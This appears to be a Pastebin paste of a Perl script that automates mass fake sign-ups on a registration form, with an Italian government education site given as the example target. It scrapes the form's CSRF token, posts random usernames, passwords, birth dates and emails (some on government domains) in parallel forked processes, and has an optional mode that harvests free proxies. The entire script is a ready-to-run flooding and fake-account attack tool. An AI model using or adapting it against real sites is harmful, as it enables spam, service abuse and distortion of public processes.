Advertisement
Guest User

Untitled

a guest
May 6th, 2015
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.11 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use LWP::ConnCache;
  4. use HTTP::Request;
  5. use HTTP::Request::Common;
  6. use HTTP::Request::Common qw(POST);
  7. use LWP::Simple;
  8. use LWP 5.64;
  9. use LWP::UserAgent;
  10.  
  11.  
  12. if ($#ARGV != 4) {
  13. print "---------------------- H E L P ----------------------\r\n";
  14. print "Uso: sito - path - numeri di iscrizioni - sock(si/no) - numero threads \r\n";
  15. print "Esempio: https://labuonascuola.gov.it register 10000 no 100\r\n",;
  16. print "---------------------- H E L P ----------------------\r\n";
  17. exit;
  18. }
  19.  
  20.  
  21. my $site = $ARGV[0];
  22. my $path = $ARGV[1];
  23. my $iscrizioni = $ARGV[2];
  24. my $sockc = $ARGV[3];
  25. my $multipli = $ARGV[4];
  26.  
  27. if ($site =~ /http:\/\//i || $site =~ /https:\/\//i) {
  28. }else{
  29. print "devi inserire l'indirizzo assoluto compreso http https o www\r\n";
  30. exit;
  31. }
  32. my $url = $site."/".$path;
  33.  
  34. if ($sockc eq "si") {
  35. &cominciasocks ($url, $iscrizioni, $multipli);
  36. }
  37.  
  38. if ($sockc eq "no") {
  39. &comincia($url, $iscrizioni, $multipli);
  40. }
  41.  
  42.  
  43. sub cominciasocks() {
  44. my @list_pro =&aaproxy();sleep(1);
  45. print "Trovati numero $#list_pro socks\r\n";
  46. my $url = $_[0];
  47. my $num_isc = $_[1];
  48. my $multi = $_[2];
  49. my @childs;
  50. my $maxproc=$multi;
  51. my $numproc=0;
  52. for (my $i=1; $i<=$num_isc; $i++) {
  53. if(($pid=fork()) == 0)
  54. {
  55. my ($proip, $proport) = &proxxy (@list_pro);
  56. &connecta ($proip, $proport, $url);
  57. exit 0;
  58. }
  59. push(@childs, $pid);
  60. $numproc++;
  61. while($numproc >= $maxproc)
  62. {
  63. waitpid(shift(@childs), 0);
  64. $numproc--;
  65. }
  66. }
  67. while($k=shift(@childs))
  68. {
  69. waitpid($k, 0);
  70. }
  71. }
  72.  
  73. sub connecta() {
  74. my $url = $_[2];
  75. my $toke;
  76. my $cookiejar = &cookies;
  77. my $username = &username;
  78. my $password = &password;
  79. my $email = &email;
  80. my $sesso = &sesso;
  81. my $status = &stato;
  82. my $giorno = &giorno;
  83. my $mese = &mese;
  84. my $anno = &anno;
  85. my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
  86. $token1 = `curl -ks -m 10 -c $cookiejar -A "$uagent" --url "$url" 2>/dev/null`;
  87. if ($token1 =~ /class\=\"form-control\" value\=\"(.*)\"/i) {
  88. $toke = $1;
  89. print "$toke\r\n";
  90. my $data = ("fos_user_registration_form[username]=".$username."&fos_user_registration_form[plainPassword][first]=".$password."&fos_user_registration_form[plainPassword][second]=".$password."&fos_user_registration_form[email]=".$email."&fos_user_registration_form[anagrafica][sesso]=".$sesso."&fos_user_registration_form[anagrafica][dataNascita][day]=".$giorno."&fos_user_registration_form[anagrafica][dataNascita][month]=".$mese."&fos_user_registration_form[anagrafica][dataNascita][year]=".$anno."&fos_user_registration_form[status]=".$status."&fos_user_registration_form[_token]=".$toke."&fos_user_registration_form[anagrafica][disclaimeremail][]=1&fos_user_registration_form[anagrafica][disclaimerprivacy][]=1&Registrati");
  91. $expl = `curl -ks -m 10 -A "$uagent" -b $cookiejar -d "$data" --url "$url" 2>/dev/null`;
  92. #print $expl; # solo per controllo output
  93. print ("$username registrato!\r\n");
  94. }
  95. unlink $cookiejar;
  96. }
  97.  
  98. sub comincia() {
  99. my $url = $_[0];
  100. my $num_isc = $_[1];
  101. my $multi = $_[2];
  102. my @childs;
  103. my $maxproc=$multi;
  104. my $numproc=0;
  105. for (my $i=0; $i<=$num_isc; $i++) {
  106. if(($pid=fork()) == 0)
  107. {
  108. &connectb ($url);
  109. exit 0;
  110. }
  111. push(@childs, $pid);
  112. $numproc++;
  113. while($numproc >= $maxproc)
  114. {
  115. waitpid(shift(@childs), 0);
  116. $numproc--;
  117. }
  118. }
  119. while($k=shift(@childs))
  120. {
  121. waitpid($k, 0);
  122. }
  123. }
  124.  
  125. sub connectb() {
  126. my $url = $_[0];
  127. my $toke;
  128. my $cookiejar = &cookies;
  129. my $username = &username;
  130. my $password = &password;
  131. my $email = &email;
  132. my $sesso = &sesso;
  133. my $status = &stato;
  134. my $giorno = &giorno;
  135. my $mese = &mese;
  136. my $anno = &anno;
  137. my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
  138. $token1 = `curl -ks -m 10 -c $cookiejar -A "$uagent" --url "$url" 2>/dev/null`;
  139. #print $res->decoded_content;
  140. if ($token1 =~ /class\=\"form-control\" value\=\"(.*)\"/i) {
  141. $toke = $1;
  142. #print "toke $toke\r\n";
  143. my $data = ("fos_user_registration_form[username]=".$username."&fos_user_registration_form[plainPassword][first]=".$password."&fos_user_registration_form[plainPassword][second]=".$password."&fos_user_registration_form[email]=".$email."&fos_user_registration_form[anagrafica][sesso]=".$sesso."&fos_user_registration_form[anagrafica][dataNascita][day]=".$giorno."&fos_user_registration_form[anagrafica][dataNascita][month]=".$mese."&fos_user_registration_form[anagrafica][dataNascita][year]=".$anno."&fos_user_registration_form[status]=".$status."&fos_user_registration_form[_token]=".$toke."&fos_user_registration_form[anagrafica][disclaimeremail][]=1&fos_user_registration_form[anagrafica][disclaimerprivacy][]=1&Registrati");
  144. $expl = `curl -ks -m 10 -A "$uagent" -b $cookiejar -d "$data" --url "$url" 2>/dev/null`;
  145. #print $expl; # solo per controllo output
  146. print "$username:$password\r\n";
  147. }
  148. unlink $cookiejar;
  149. }
  150.  
  151. sub aaproxy() {
  152. my @ip_proxy;
  153. for ($b=1; $b<=120; $b+=1) {
  154. my $siteproxy = ("http://free-proxy.cz/en/proxylist/country/all/all/date/all/".$b);
  155. my $resul = &get_content($siteproxy);
  156. while ($resul =~ m/<\/div> (.*?)<\/td>\s+<td><span class=\"fport\">(.*?)<\/span>/g) {
  157. my $ip_proxy = $1;
  158. my $porta_proxy = $2;
  159. my $proxy = $1.":".$2;
  160. push(@ip_proxy, $proxy);
  161. }
  162. }
  163. return @ip_proxy;
  164. }
  165.  
  166. sub username() {
  167. my $user;
  168. #sleep(1);
  169. srand();
  170. @randomic = ('a'..'z');
  171. $user.= $randomic[int rand @randomic] for 1..10;
  172. return $user;
  173. }
  174.  
  175. sub password() {
  176. #sleep(1);
  177. my $pass;
  178. srand();
  179. @randomic = ('a'..'z', '0'..'9');
  180. $pass.= $randomic[int rand @randomic] for 1..12;
  181. return $pass;
  182. }
  183.  
  184. sub sesso() {
  185. my $sesso;
  186. srand();
  187. my @sex = ('f', 'm');
  188. my $sesso = $sex[rand @sex];
  189. return $sesso;
  190. }
  191.  
  192. sub email() {
  193. my $email;
  194. srand();
  195. my @mail = ('gmail.com', 'aruba.it', 'yahoo.com', 'libero.it', 'posteitaliane.it', 'governo.gov.it', 'senato.gov.it', 'italia.gov.it');
  196. $maill = $mail[rand @mail];
  197. $mail = &username."@".$maill;
  198. return $mail;
  199. }
  200.  
  201. sub stato() {
  202. my $status;
  203. srand();
  204. my @stato = ('Studente', 'Docente', 'Dirigente scolastico', 'Personale ATA', 'Genitore', 'Nonno', 'Cittadino', 'altro');
  205. my $status = $stato[rand @stato];
  206. return $status;
  207. }
  208.  
  209. sub giorno() {
  210. my $giorno;
  211. $a="1";
  212. $b="31";
  213. $giorno = int( rand ($b-$a) ) + $a;
  214. return $giorno;
  215. }
  216.  
  217. sub mese() {
  218. my $mese;
  219. $a="3";
  220. $b="13";
  221. $mese = int( rand ($b-$a) ) + $a;
  222. return $mese;
  223. }
  224.  
  225. sub anno() {
  226. my $anno;
  227. $a="1940";
  228. $b="2001";
  229. $anno = int( rand ($b-$a) ) + $a;
  230. return $anno;
  231. }
  232.  
  233. sub cookies() {
  234. my $cookie1;
  235. my $cookie;
  236. #sleep(1);
  237. srand();
  238. @randomic = ('0'..'9');
  239. $cookie1.= $randomic[int rand @randomic] for 1..10;
  240. $cookie = $cookie1."cookies.tzz";
  241. return $cookie;
  242. }
  243.  
  244. sub proxxy() {
  245. sleep(1);
  246. srand();
  247. my @list_pro = (@_);
  248. my $proxyy = $list_pro[rand @list_pro];
  249. my ($proip1, $proport1) = split(/:/, $proxyy);
  250. return ($proip1, $proport1)
  251. }
  252.  
  253. sub get_content() {
  254. my $url = $_[0];
  255. my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
  256. $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 1;
  257. my $ua = LWP::UserAgent->new(agent => $uagent);
  258. $ua->timeout(5);
  259. my $res = $ua->get($url);
  260. return $res->decoded_content;
  261. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement